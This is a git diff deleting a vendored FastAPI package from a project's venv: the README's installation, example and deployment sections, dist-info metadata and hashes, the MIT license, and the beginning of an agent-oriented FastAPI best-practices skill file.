- -## FastAPI Conf - -[**FastAPI Conf '26**](https://fastapiconf.com) is happening on **October 28, 2026** in **Amsterdam, NL**. All about FastAPI, right from the source. 🎤 - -FastAPI Conf '26 - October 28, 2026 - Amsterdam, NL - -## FastAPI mini documentary - -There's a [FastAPI mini documentary](https://www.youtube.com/watch?v=mpR8ngthqiE) released at the end of 2025, you can watch it online: - -FastAPI Mini Documentary - -## **Typer**, the FastAPI of CLIs - - - -If you are building a CLI app to be used in the terminal instead of a web API, check out [**Typer**](https://typer.tiangolo.com/). - -**Typer** is FastAPI's little sibling. And it's intended to be the **FastAPI of CLIs**. ⌨️ 🚀 - -## Requirements - -FastAPI stands on the shoulders of giants: - -* [Starlette](https://starlette.dev/) for the web parts. -* [Pydantic](https://pydantic.dev/docs/) for the data parts. - -## Installation - -First, [install `uv`](https://docs.astral.sh/uv/getting-started/installation/), and then add FastAPI to your project: - -
- -```console -$ uv add "fastapi[standard]" - ----> 100% -``` - -
- -**Note**: Make sure you put `"fastapi[standard]"` in quotes to ensure it works in all terminals. - -If you prefer to use `pip`, install `fastapi[standard]` inside a virtual environment. See the [installation guide](tutorial/#install-fastapi) for the alternative steps. - -## Example - -### Create it - -Create a file `main.py` with: - -```Python -from fastapi import FastAPI - -app = FastAPI() - - -@app.get("/") -def read_root(): - return {"Hello": "World"} - - -@app.get("/items/{item_id}") -def read_item(item_id: int, q: str | None = None): - return {"item_id": item_id, "q": q} -``` - -
-Or use async def... - -If your code uses `async` / `await`, use `async def`: - -```Python hl_lines="7 12" -from fastapi import FastAPI - -app = FastAPI() - - -@app.get("/") -async def read_root(): - return {"Hello": "World"} - - -@app.get("/items/{item_id}") -async def read_item(item_id: int, q: str | None = None): - return {"item_id": item_id, "q": q} -``` - -**Note**: - -If you don't know, check the _"In a hurry?"_ section about [`async` and `await` in the docs](https://fastapi.tiangolo.com/async/#in-a-hurry). - -
- -### Run it - -Run the server with: - -
- -```console -$ uv run fastapi dev - - ╭────────── FastAPI CLI - Development mode ───────────╮ - │ │ - │ Serving at: http://127.0.0.1:8000 │ - │ │ - │ API docs: http://127.0.0.1:8000/docs │ - │ │ - │ Running in development mode, for production use: │ - │ │ - │ fastapi run │ - │ │ - ╰─────────────────────────────────────────────────────╯ - -INFO: Will watch for changes in these directories: ['/home/user/code/awesomeapp'] -INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit) -INFO: Started reloader process [2248755] using WatchFiles -INFO: Started server process [2248757] -INFO: Waiting for application startup. -INFO: Application startup complete. -``` - -
- -
-About the command fastapi dev... - -The command `fastapi dev` reads your `main.py` file automatically, detects the **FastAPI** app in it, and starts a server using [Uvicorn](https://uvicorn.dev). - -By default, `fastapi dev` will start with auto-reload enabled for local development. - -You can read more about it in the [FastAPI CLI docs](https://fastapi.tiangolo.com/fastapi-cli/). - -
- -### Check it - -Open your browser at [http://127.0.0.1:8000/items/5?q=somequery](http://127.0.0.1:8000/items/5?q=somequery). - -You will see the JSON response as: - -```JSON -{"item_id": 5, "q": "somequery"} -``` - -You already created an API that: - -* Receives HTTP requests in the _paths_ `/` and `/items/{item_id}`. -* Both _paths_ take `GET` operations (also known as HTTP _methods_). -* The _path_ `/items/{item_id}` has a _path parameter_ `item_id` that should be an `int`. -* The _path_ `/items/{item_id}` has an optional `str` _query parameter_ `q`. - -### Interactive API docs - -Now go to [http://127.0.0.1:8000/docs](http://127.0.0.1:8000/docs). - -You will see the automatic interactive API documentation (provided by [Swagger UI](https://github.com/swagger-api/swagger-ui)): - -![Swagger UI](https://fastapi.tiangolo.com/img/index/index-01-swagger-ui-simple.png) - -### Alternative API docs - -And now, go to [http://127.0.0.1:8000/redoc](http://127.0.0.1:8000/redoc). - -You will see the alternative automatic documentation (provided by [ReDoc](https://github.com/Redocly/redoc)): - -![ReDoc](https://fastapi.tiangolo.com/img/index/index-02-redoc-simple.png) - -## Example upgrade - -Now modify the file `main.py` to receive a body from a `PUT` request. - -Declare the body using standard Python types, thanks to Pydantic. - -```Python hl_lines="2 7-10 23-25" -from fastapi import FastAPI -from pydantic import BaseModel - -app = FastAPI() - - -class Item(BaseModel): - name: str - price: float - is_offer: bool | None = None - - -@app.get("/") -def read_root(): - return {"Hello": "World"} - - -@app.get("/items/{item_id}") -def read_item(item_id: int, q: str | None = None): - return {"item_id": item_id, "q": q} - - -@app.put("/items/{item_id}") -def update_item(item_id: int, item: Item): - return {"item_name": item.name, "item_id": item_id} -``` - -The `fastapi dev` server should reload automatically. - -### Interactive API docs upgrade - -Now go to [http://127.0.0.1:8000/docs](http://127.0.0.1:8000/docs). - -* The interactive API documentation will be automatically updated, including the new body: - -![Swagger UI](https://fastapi.tiangolo.com/img/index/index-03-swagger-02.png) - -* Click on the button "Try it out", it allows you to fill the parameters and directly interact with the API: - -![Swagger UI interaction](https://fastapi.tiangolo.com/img/index/index-04-swagger-03.png) - -* Then click on the "Execute" button, the user interface will communicate with your API, send the parameters, get the results and show them on the screen: - -![Swagger UI interaction](https://fastapi.tiangolo.com/img/index/index-05-swagger-04.png) - -### Alternative API docs upgrade - -And now, go to [http://127.0.0.1:8000/redoc](http://127.0.0.1:8000/redoc). - -* The alternative documentation will also reflect the new query parameter and body: - -![ReDoc](https://fastapi.tiangolo.com/img/index/index-06-redoc-02.png) - -### Recap - -In summary, you declare **once** the types of parameters, body, etc. as function parameters. - -You do that with standard modern Python types. - -You don't have to learn a new syntax, the methods or classes of a specific library, etc. - -Just standard **Python**. - -For example, for an `int`: - -```Python -item_id: int -``` - -or for a more complex `Item` model: - -```Python -item: Item -``` - -...and with that single declaration you get: - -* Editor support, including: - * Completion. - * Type checks. -* Validation of data: - * Automatic and clear errors when the data is invalid. - * Validation even for deeply nested JSON objects. -* Conversion of input data: coming from the network to Python data and types. Reading from: - * JSON. - * Path parameters. - * Query parameters. - * Cookies. - * Headers. - * Forms. - * Files. -* Conversion of output data: converting from Python data and types to network data (as JSON): - * Convert Python types (`str`, `int`, `float`, `bool`, `list`, etc). - * `datetime` objects. - * `UUID` objects. - * Database models. - * ...and many more. -* Automatic interactive API documentation, including 2 alternative user interfaces: - * Swagger UI. - * ReDoc. - ---- - -Coming back to the previous code example, **FastAPI** will: - -* Validate that there is an `item_id` in the path for `GET` and `PUT` requests. -* Validate that the `item_id` is of type `int` for `GET` and `PUT` requests. - * If it is not, the client will see a useful, clear error. -* Check if there is an optional query parameter named `q` (as in `http://127.0.0.1:8000/items/foo?q=somequery`) for `GET` requests. - * As the `q` parameter is declared with `= None`, it is optional. - * Without the `None` it would be required (as is the body in the case with `PUT`). -* For `PUT` requests to `/items/{item_id}`, read the body as JSON: - * Check that it has a required attribute `name` that should be a `str`. - * Check that it has a required attribute `price` that has to be a `float`. - * Check that it has an optional attribute `is_offer`, that should be a `bool`, if present. - * All this would also work for deeply nested JSON objects. -* Convert from and to JSON automatically. -* Document everything with OpenAPI, that can be used by: - * Interactive documentation systems. - * Automatic client code generation systems, for many languages. -* Provide 2 interactive documentation web interfaces directly. - ---- - -We just scratched the surface, but you already get the idea of how it all works. - -Try changing the line with: - -```Python - return {"item_name": item.name, "item_id": item_id} -``` - -...from: - -```Python - ... "item_name": item.name ... -``` - -...to: - -```Python - ... "item_price": item.price ... -``` - -...and see how your editor will auto-complete the attributes and know their types: - -![editor support](https://fastapi.tiangolo.com/img/vscode-completion.png) - -For a more complete example including more features, see the Tutorial - User Guide. - -**Spoiler alert**: the tutorial - user guide includes: - -* Declaration of **parameters** from other different places such as: **headers**, **cookies**, **form fields** and **files**. -* How to set **validation constraints** such as `maximum_length` or `regex`. -* A very powerful and easy to use **Dependency Injection** system. -* Security and authentication, including support for **OAuth2** with **JWT tokens** and **HTTP Basic** auth. -* More advanced (but equally easy) techniques for declaring **deeply nested JSON models** (thanks to Pydantic). -* **GraphQL** integration with [Strawberry](https://strawberry.rocks) and other libraries. -* Many extra features (thanks to Starlette) such as: - * **WebSockets** - * extremely easy tests based on HTTPX and `pytest` - * **CORS** - * **Cookie Sessions** - * ...and more. - -### Deploy your app (optional) - -You can optionally deploy your FastAPI app to [FastAPI Cloud](https://fastapicloud.com) with a single command. 🚀 - -
- -```console -$ uv run fastapi deploy - -Deploying to FastAPI Cloud... - -✅ Deployment successful! - -🐔 Ready the chicken! Your app is ready at https://myapp.fastapicloud.dev -``` - -
- -The CLI will automatically detect your FastAPI application and deploy it to the cloud. If you are not logged in, your browser will open to complete the authentication process. - -That's it! Now you can access your app at that URL. ✨ - -#### About FastAPI Cloud - -**[FastAPI Cloud](https://fastapicloud.com)** is built by the same author and team behind **FastAPI**. - -It streamlines the process of **building**, **deploying**, and **accessing** an API with minimal effort. - -It brings the same **developer experience** of building apps with FastAPI to **deploying** them to the cloud. 🎉 - -FastAPI Cloud is the primary sponsor and funding provider for the *FastAPI and friends* open source projects. ✨ - -#### Deploy to other cloud providers - -FastAPI is open source and based on standards. You can deploy FastAPI apps to any cloud provider you choose. - -Follow your cloud provider's guides to deploy FastAPI apps with them. 🤓 - -## Performance - -Independent TechEmpower benchmarks show **FastAPI** applications running under Uvicorn as [one of the fastest Python frameworks available](https://www.techempower.com/benchmarks/#section=test&runid=7464e520-0dc2-473d-bd34-dbdfd7e85911&hw=ph&test=query&l=zijzen-7), only below Starlette and Uvicorn themselves (used internally by FastAPI). (*) - -To understand more about it, see the section [Benchmarks](https://fastapi.tiangolo.com/benchmarks/). - -## Dependencies - -FastAPI depends on Pydantic and Starlette. - -### `standard` Dependencies - -When you install FastAPI with `uv add "fastapi[standard]"` it comes with the `standard` group of optional dependencies: - -Used by Pydantic: - -* [`email-validator`](https://github.com/JoshData/python-email-validator) - for email validation. - -Used by Starlette: - -* [`httpx`](https://www.python-httpx.org) - Required if you want to use the `TestClient`. -* [`jinja2`](https://jinja.palletsprojects.com) - Required if you want to use the default template configuration. -* [`python-multipart`](https://github.com/Kludex/python-multipart) - Required if you want to support form "parsing", with `request.form()`. - -Used by FastAPI: - -* [`uvicorn`](https://uvicorn.dev) - for the server that loads and serves your application. This includes `uvicorn[standard]`, which includes some dependencies (e.g. `uvloop`) needed for high performance serving. -* `fastapi-cli[standard]` - to provide the `fastapi` command. - * This includes `fastapi-cloud-cli`, which allows you to deploy your FastAPI application to [FastAPI Cloud](https://fastapicloud.com). - -### Without `standard` Dependencies - -If you don't want to include the `standard` optional dependencies, you can install with `uv add fastapi` instead of `uv add "fastapi[standard]"`. - -### Without `fastapi-cloud-cli` - -If you want to install FastAPI with the standard dependencies but without the `fastapi-cloud-cli`, you can install with `uv add "fastapi[standard-no-fastapi-cloud-cli]"`. - -### Additional Optional Dependencies - -There are some additional dependencies you might want to install. - -Additional optional Pydantic dependencies: - -* [`pydantic-settings`](https://pydantic.dev/docs/validation/latest/concepts/pydantic_settings/) - for settings management. -* [`pydantic-extra-types`](https://github.com/pydantic/pydantic-extra-types) - for extra types to be used with Pydantic. - -Additional optional FastAPI dependencies: - -* [`orjson`](https://github.com/ijl/orjson) - Required if you want to use `ORJSONResponse`. -* [`ujson`](https://github.com/ultrajson/ultrajson) - Required if you want to use `UJSONResponse`. - -## License - -This project is licensed under the terms of the MIT license. diff --git a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/RECORD b/venv/Lib/site-packages/fastapi-0.141.1.dist-info/RECORD deleted file mode 100644 index 5827a6c10b94d5b5c64fce206901b23dc92c6737..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/RECORD +++ /dev/null @@ -1,112 +0,0 @@ -../../Scripts/fastapi.exe,sha256=A2VqKcd6n3GodeSFSdk6bQzjzEhkp2gk83b-sh0iu54,108390 -fastapi-0.141.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -fastapi-0.141.1.dist-info/METADATA,sha256=EBDClUe0AmvbPNHEBuBXC515u0SLWmH6TVu1pesLdSw,27029 -fastapi-0.141.1.dist-info/RECORD,, -fastapi-0.141.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -fastapi-0.141.1.dist-info/WHEEL,sha256=VP-D4TPS230sME9Z3vb3INXvo1yt0924YRm5AOsk_dE,90 -fastapi-0.141.1.dist-info/entry_points.txt,sha256=GCf-WbIZxyGT4MUmrPGj1cOHYZoGsNPHAvNkT6hnGeA,61 -fastapi-0.141.1.dist-info/licenses/LICENSE,sha256=Tsif_IFIW5f-xYSy1KlhAy7v_oNEU4lP2cEnSQbMdE4,1086 -fastapi/.agents/skills/fastapi/SKILL.md,sha256=mJ5RNq0BXBdcyihmnQUb_vLiDa0TqDhTg4hWSGB_XrY,10111 -fastapi/.agents/skills/fastapi/references/dependencies.md,sha256=i2txoD-hRoCQWoH1PxiDuQwqt6xl7vp3wmZMLQON5Gk,3268 -fastapi/.agents/skills/fastapi/references/other-tools.md,sha256=oskZlYkCdGgezS9mIfqW5kImCGtOsgPUa46Sd81H-P0,1527 -fastapi/.agents/skills/fastapi/references/path-operations.md,sha256=7Y0qIRI7z2PdHpqmHMjk4zqHjLvx0JSYpVakIDAplco,1583 -fastapi/.agents/skills/fastapi/references/pydantic.md,sha256=hAq5YnOYYa7S6neAXcRpecmpar2PwAQ_GXs71dY46Es,1844 -fastapi/.agents/skills/fastapi/references/responses.md,sha256=fJIVCLvQk2lzAcqWEgOJds-1tlvcLcQqDALigJ02Uqc,1856 -fastapi/.agents/skills/fastapi/references/streaming.md,sha256=bHaIKnwbTkd7TUVQm_uxapUnAlEG4rdvALV9koD5ypI,2581 -fastapi/__init__.py,sha256=A2QG2fYV0hWsknlMOMeZ7ua0mJNWWc4DNd6_1HgV17k,1081 -fastapi/__main__.py,sha256=bKePXLdO4SsVSM6r9SVoLickJDcR2c0cTOxZRKq26YQ,37 -fastapi/__pycache__/__init__.cpython-314.pyc,, -fastapi/__pycache__/__main__.cpython-314.pyc,, -fastapi/__pycache__/applications.cpython-314.pyc,, -fastapi/__pycache__/background.cpython-314.pyc,, -fastapi/__pycache__/cli.cpython-314.pyc,, -fastapi/__pycache__/concurrency.cpython-314.pyc,, -fastapi/__pycache__/datastructures.cpython-314.pyc,, -fastapi/__pycache__/encoders.cpython-314.pyc,, -fastapi/__pycache__/exception_handlers.cpython-314.pyc,, -fastapi/__pycache__/exceptions.cpython-314.pyc,, -fastapi/__pycache__/logger.cpython-314.pyc,, -fastapi/__pycache__/param_functions.cpython-314.pyc,, -fastapi/__pycache__/params.cpython-314.pyc,, -fastapi/__pycache__/requests.cpython-314.pyc,, -fastapi/__pycache__/responses.cpython-314.pyc,, -fastapi/__pycache__/routing.cpython-314.pyc,, -fastapi/__pycache__/sse.cpython-314.pyc,, -fastapi/__pycache__/staticfiles.cpython-314.pyc,, -fastapi/__pycache__/templating.cpython-314.pyc,, -fastapi/__pycache__/testclient.cpython-314.pyc,, -fastapi/__pycache__/types.cpython-314.pyc,, -fastapi/__pycache__/utils.cpython-314.pyc,, -fastapi/__pycache__/websockets.cpython-314.pyc,, -fastapi/_compat/__init__.py,sha256=PYOR-8vJ5va4Qjl810FcQmJbqmpyyeQMoZ9R86CeE2U,2095 -fastapi/_compat/__pycache__/__init__.cpython-314.pyc,, -fastapi/_compat/__pycache__/shared.cpython-314.pyc,, -fastapi/_compat/__pycache__/v2.cpython-314.pyc,, -fastapi/_compat/shared.py,sha256=lv0zlY5SSt8gx-TDpHL9NNGy9Qf16RBEK3-OXc7_LOQ,7323 -fastapi/_compat/v2.py,sha256=sDGyi1iKSFW9LuJ7n4B61-1yrQI1NHRSwsFRRLuFJ8k,17601 -fastapi/applications.py,sha256=ONzLGbKgsLmEyNdUEmOEKVSjfAh8-WtEY66heHPGGDw,183840 -fastapi/background.py,sha256=TADzAethOAaqpVvckYuTT3c4O9N1HaFQysFCPt0MsgU,1820 -fastapi/cli.py,sha256=OYhZb0NR_deuT5ofyPF2NoNBzZDNOP8Salef2nk-HqA,418 -fastapi/concurrency.py,sha256=xHGDEOQAA6cvFEDX46oq3r2t1Zd4sVvreaRgdIE4juM,1489 -fastapi/datastructures.py,sha256=XPugnojHc4N07eF5Xp1TTndP2gMv1fG4k-0L4Vdr7Kc,5321 -fastapi/dependencies/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -fastapi/dependencies/__pycache__/__init__.cpython-314.pyc,, -fastapi/dependencies/__pycache__/models.cpython-314.pyc,, -fastapi/dependencies/__pycache__/utils.cpython-314.pyc,, -fastapi/dependencies/models.py,sha256=3EpGqAA2d885jr1ENd-Pj8e1b80uGYPtMiYjnUHbp3c,8092 -fastapi/dependencies/utils.py,sha256=E2kzdauV4yQk5UNMIfkoRjY0r17hJhzz4EAxOBvfR9k,39180 -fastapi/encoders.py,sha256=TMCSMOymQ1iS9rwlohheIU2-3-mU1RA_62OtJpE3yq0,11713 -fastapi/exception_handlers.py,sha256=YVcT8Zy021VYYeecgdyh5YEUjEIHKcLspbkSf4OfbJI,1275 -fastapi/exceptions.py,sha256=fUNOBRdIsULU0TnO8aNBg3HoJeyJxXp9UV6D8wYu9lI,7453 -fastapi/logger.py,sha256=I9NNi3ov8AcqbsbC9wl1X-hdItKgYt2XTrx1f99Zpl4,54 -fastapi/middleware/__init__.py,sha256=oQDxiFVcc1fYJUOIFvphnK7pTT5kktmfL32QXpBFvvo,58 -fastapi/middleware/__pycache__/__init__.cpython-314.pyc,, -fastapi/middleware/__pycache__/asyncexitstack.cpython-314.pyc,, -fastapi/middleware/__pycache__/cors.cpython-314.pyc,, -fastapi/middleware/__pycache__/gzip.cpython-314.pyc,, -fastapi/middleware/__pycache__/httpsredirect.cpython-314.pyc,, -fastapi/middleware/__pycache__/trustedhost.cpython-314.pyc,, -fastapi/middleware/__pycache__/wsgi.cpython-314.pyc,, -fastapi/middleware/asyncexitstack.py,sha256=RKGlQpGzg3GLosqVhrxBy_NCZ9qJS7zQeNHt5Y3x-00,637 -fastapi/middleware/cors.py,sha256=ynwjWQZoc_vbhzZ3_ZXceoaSrslHFHPdoM52rXr0WUU,79 -fastapi/middleware/gzip.py,sha256=xM5PcsH8QlAimZw4VDvcmTnqQamslThsfe3CVN2voa0,79 -fastapi/middleware/httpsredirect.py,sha256=rL8eXMnmLijwVkH7_400zHri1AekfeBd6D6qs8ix950,115 -fastapi/middleware/trustedhost.py,sha256=eE5XGRxGa7c5zPnMJDGp3BxaL25k5iVQlhnv-Pk0Pss,109 -fastapi/middleware/wsgi.py,sha256=a_FMDoeTwcdig9wdAGumIH82oDFfuj4pxtQxLbAw2Ns,107 -fastapi/openapi/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -fastapi/openapi/__pycache__/__init__.cpython-314.pyc,, -fastapi/openapi/__pycache__/constants.cpython-314.pyc,, -fastapi/openapi/__pycache__/docs.cpython-314.pyc,, -fastapi/openapi/__pycache__/models.cpython-314.pyc,, -fastapi/openapi/__pycache__/utils.cpython-314.pyc,, -fastapi/openapi/constants.py,sha256=adGzmis1L1HJRTE3kJ5fmHS_Noq6tIY6pWv_SFzoFDU,153 -fastapi/openapi/docs.py,sha256=PcjH0Sn-yp97O0exXincG8epsY7ATyJC5662bK1DRao,12425 -fastapi/openapi/models.py,sha256=twjJWGf6lcKRJZgaZCcnQ0Ten1hDhcyCLgbr7tXIP30,14608 -fastapi/openapi/utils.py,sha256=gdzqK4eEuxpoQmyZyVJfRGNLWDkWqJSjx9kkpyiG9Sc,29347 -fastapi/param_functions.py,sha256=4fTCVlvEDbAQr7gvWYkOX8hktdl2Iwk-kv4FaTz7P8w,69596 -fastapi/params.py,sha256=1fNNSK5J7PM5Fw-F5_9uOysA2NgC-61mb3LlrBWpqJM,26205 -fastapi/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -fastapi/requests.py,sha256=zayepKFcienBllv3snmWI20Gk0oHNVLU4DDhqXBb4LU,142 -fastapi/responses.py,sha256=BM7JtiZ_G4j2Z7QvHUzV1KtZPnjOoCfX35RqYXlZDh0,4144 -fastapi/routing.py,sha256=ex72X7ayCURdxDvgcKIzJLeHmu-ca59j5paCNLdyO1U,255632 -fastapi/security/__init__.py,sha256=bO8pNmxqVRXUjfl2mOKiVZLn0FpBQ61VUYVjmppnbJw,881 -fastapi/security/__pycache__/__init__.cpython-314.pyc,, -fastapi/security/__pycache__/api_key.cpython-314.pyc,, -fastapi/security/__pycache__/base.cpython-314.pyc,, -fastapi/security/__pycache__/http.cpython-314.pyc,, -fastapi/security/__pycache__/oauth2.cpython-314.pyc,, -fastapi/security/__pycache__/open_id_connect_url.cpython-314.pyc,, -fastapi/security/__pycache__/utils.cpython-314.pyc,, -fastapi/security/api_key.py,sha256=4CNLNVAStOsMhytH9C5EOUEOZrtLg_IpMQS_HcRDP4M,9793 -fastapi/security/base.py,sha256=dl4pvbC-RxjfbWgPtCWd8MVU-7CB2SZ22rJDXVCXO6c,141 -fastapi/security/http.py,sha256=Z0xALDqwgJZRAaDs40Sa68rAnjFzEL99UEmO5PJzTKA,13410 -fastapi/security/oauth2.py,sha256=sSqW4tbvoHaWNld46TYatta5rgFfjod4LhxmedXzkI8,24178 -fastapi/security/open_id_connect_url.py,sha256=V8WLPEsEq_WJlIjPwJO2vCoJWGLu-VTt1-N2H7aV-D4,3136 -fastapi/security/utils.py,sha256=E9YIoez-H2k1oBLEdxqJEi8sV1umunJYKjQHvZG3FRY,261 -fastapi/sse.py,sha256=27Z0q8AO7ExKQWKQOEpTg94isE_NVcuHA33-YL9-Pr0,7083 -fastapi/staticfiles.py,sha256=iirGIt3sdY2QZXd36ijs3Cj-T0FuGFda3cd90kM9Ikw,69 -fastapi/templating.py,sha256=4zsuTWgcjcEainMJFAlW6-gnslm6AgOS1SiiDWfmQxk,76 -fastapi/testclient.py,sha256=nBvaAmX66YldReJNZXPOk1sfuo2Q6hs8bOvIaCep6LQ,66 -fastapi/types.py,sha256=g2tD842BUHC2C3_P8P06albQ4MhCb9RybrSmp5rODgU,438 -fastapi/utils.py,sha256=DX0VrnMwfVsZxRz8IitQ42c2---fDzmFZkeRMZR2UMo,4341 -fastapi/websockets.py,sha256=419uncYObEKZG0YcrXscfQQYLSWoE10jqxVMetGdR98,222 diff --git a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/REQUESTED b/venv/Lib/site-packages/fastapi-0.141.1.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/WHEEL b/venv/Lib/site-packages/fastapi-0.141.1.dist-info/WHEEL deleted file mode 100644 index e651d8efb5fb543a06227b0ebfab1007f9e19326..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: pdm-backend (2.4.9) -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/entry_points.txt b/venv/Lib/site-packages/fastapi-0.141.1.dist-info/entry_points.txt deleted file mode 100644 index b81849e1ef82b793f6f81bb970cdc3cb791f5776..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/entry_points.txt +++ /dev/null @@ -1,5 +0,0 @@ -[console_scripts] -fastapi = fastapi.cli:main - -[gui_scripts] - diff --git a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/licenses/LICENSE b/venv/Lib/site-packages/fastapi-0.141.1.dist-info/licenses/LICENSE deleted file mode 100644 index 3e92463e6bd522a2a21e5f0a80d8089d6c4be20d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi-0.141.1.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2018 Sebastián Ramírez - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/SKILL.md b/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/SKILL.md deleted file mode 100644 index fc35b97ed9dc2ec0db51dee69c4ba358c5c8f3b8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/SKILL.md +++ /dev/null @@ -1,321 +0,0 @@ ---- -name: fastapi -description: FastAPI best practices and conventions. Use when working with FastAPI APIs, Pydantic models, dependencies, streaming responses including Server-Sent Events (SSE), and serving frontend apps. Keeps FastAPI code clean and up to date with the latest features and patterns. ---- - -# FastAPI - -Official FastAPI skill to write code with best practices, keeping up to date with new versions and features. - -## Quick Reference - -* Serve frontend apps: use `app.frontend()` or `router.frontend()` for built frontend assets; see [Serve Frontend Apps](#serve-frontend-apps). -* Server-Sent Events (SSE): use `response_class=EventSourceResponse` and `yield`; see [Streaming](#streaming-json-lines-sse-bytes) and [the streaming reference](references/streaming.md). -* JSON Lines and byte streaming: see [the streaming reference](references/streaming.md). -* Dependencies: use `Annotated[..., Depends(...)]`; see [Dependency Injection](#dependency-injection) and [the dependency injection reference](references/dependencies.md) for `yield`, scopes, and class dependencies. -* Response models: prefer return types; use `response_model` when the public response schema differs from the internal return value; see [the response reference](references/responses.md). -* Pydantic models: do not use ellipsis or `RootModel`; see [the Pydantic reference](references/pydantic.md). -* Routing: declare router-level prefix, tags, and shared dependencies on the `APIRouter`; see [the path operation reference](references/path-operations.md). -* Tooling and related libraries: use uv, Ruff, ty, Asyncer, SQLModel, and HTTPX when applicable; see [the other tools reference](references/other-tools.md). - -## Use the `fastapi` CLI - -Run the development server on localhost with reload: - -```bash -fastapi dev -``` - -Run the production server: - -```bash -fastapi run -``` - -Prefer declaring the entrypoint in `pyproject.toml`: - -```toml -[tool.fastapi] -entrypoint = "my_app.main:app" -``` - -When adding the entrypoint is not possible, or the user explicitly asks not to, pass the app file path: - -```bash -fastapi dev my_app/main.py -``` - -## Use `Annotated` - -Always prefer the `Annotated` style for parameter and dependency declarations. It keeps function signatures working in other contexts, respects the types, and allows reusability. - -Use `Annotated` for parameter declarations, including `Path`, `Query`, `Header`, etc.: - -```python -from typing import Annotated - -from fastapi import FastAPI, Path, Query - -app = FastAPI() - - -@app.get("/items/{item_id}") -async def read_item( - item_id: Annotated[int, Path(ge=1, description="The item ID")], - q: Annotated[str | None, Query(max_length=50)] = None, -): - return {"message": "Hello World"} -``` - -Use `Annotated` for dependencies with `Depends()`. Unless asked not to, create a new type alias for the dependency to allow reusing it: - -```python -from typing import Annotated - -from fastapi import Depends, FastAPI - -app = FastAPI() - - -def get_current_user(): - return {"username": "johndoe"} - - -CurrentUserDep = Annotated[dict, Depends(get_current_user)] - - -@app.get("/items/") -async def read_item(current_user: CurrentUserDep): - return {"message": "Hello World"} -``` - -## Do not use Ellipsis for *path operations* or Pydantic models - -Do not use `...` as a default value for required parameters or model fields. It's not needed and not recommended. - -```python -from typing import Annotated - -from fastapi import FastAPI, Query -from pydantic import BaseModel, Field - -app = FastAPI() - - -class Item(BaseModel): - name: str - description: str | None = None - price: float = Field(gt=0) - - -@app.post("/items/") -async def create_item(item: Item, project_id: Annotated[int, Query()]): - return item -``` - -See [the Pydantic reference](references/pydantic.md) for more details. - -## Return Type or Response Model - -When possible, include a return type. It will be used to validate, filter, document, and serialize the response. - -```python -from fastapi import FastAPI -from pydantic import BaseModel - -app = FastAPI() - - -class Item(BaseModel): - name: str - description: str | None = None - - -@app.get("/items/me") -async def get_item() -> Item: - return Item(name="Plumbus", description="All-purpose home device") -``` - -Return types or response models filter data to avoid exposing sensitive information, and they let Pydantic serialize the data on the Rust side for performance. - -Use `response_model` when the type you return is not the same as the public schema you want to validate, filter, document, and serialize. See [the response reference](references/responses.md). - -## Performance - -Do not use `ORJSONResponse` or `UJSONResponse`, they are deprecated. - -Instead, declare a return type or response model. Pydantic will handle the data serialization on the Rust side. - -## Including Routers - -When declaring routers, prefer to add router-level parameters like prefix, tags, and shared dependencies to the router itself instead of in `include_router()`. - -```python -from fastapi import APIRouter, Depends, FastAPI - -app = FastAPI() - - -def get_current_user(): - return {"username": "johndoe"} - - -router = APIRouter( - prefix="/items", - tags=["items"], - dependencies=[Depends(get_current_user)], -) - - -@router.get("/") -async def list_items(): - return [] - - -app.include_router(router) -``` - -See [the path operation reference](references/path-operations.md) for more routing patterns. - -## Serve Frontend Apps - -Use `app.frontend()` to serve a built static frontend app, for example a directory generated by Vite, Astro, Angular, Svelte, Vue, or a similar tool. - -```python -from fastapi import FastAPI - -app = FastAPI() - -app.frontend("/", directory="dist") -``` - -Use `router.frontend()` when the frontend belongs to an `APIRouter`; normal router prefix behavior applies when the router is included. - -```python -from fastapi import 